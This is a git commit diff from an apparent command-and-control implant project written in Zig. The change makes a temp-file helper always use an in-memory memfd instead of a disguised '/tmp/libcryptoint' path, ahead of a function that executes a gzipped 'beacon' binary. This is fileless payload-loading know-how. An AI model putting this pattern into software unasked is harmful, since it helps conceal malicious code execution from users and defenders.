feat: finished loading winpcap drivers

This commit is contained in:
Andrew Rioux
2025-02-09 14:54:13 -05:00
parent 6780b1595b
commit 3bc9b014f5
10 changed files with 159 additions and 28 deletions

View File

@@ -12,15 +12,8 @@ const Parameters = abi.Parameters;
const config = @import("config");
fn open_temp() !std.fs.File {
switch (builtin.os.tag) {
.linux => {
const fd = try posix.memfd_create("", 0);
return std.fs.File{ .handle = @intCast(fd) };
},
else => {
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
},
}
const fd = try posix.memfd_create("", 0);
return std.fs.File{ .handle = @intCast(fd) };
}
fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {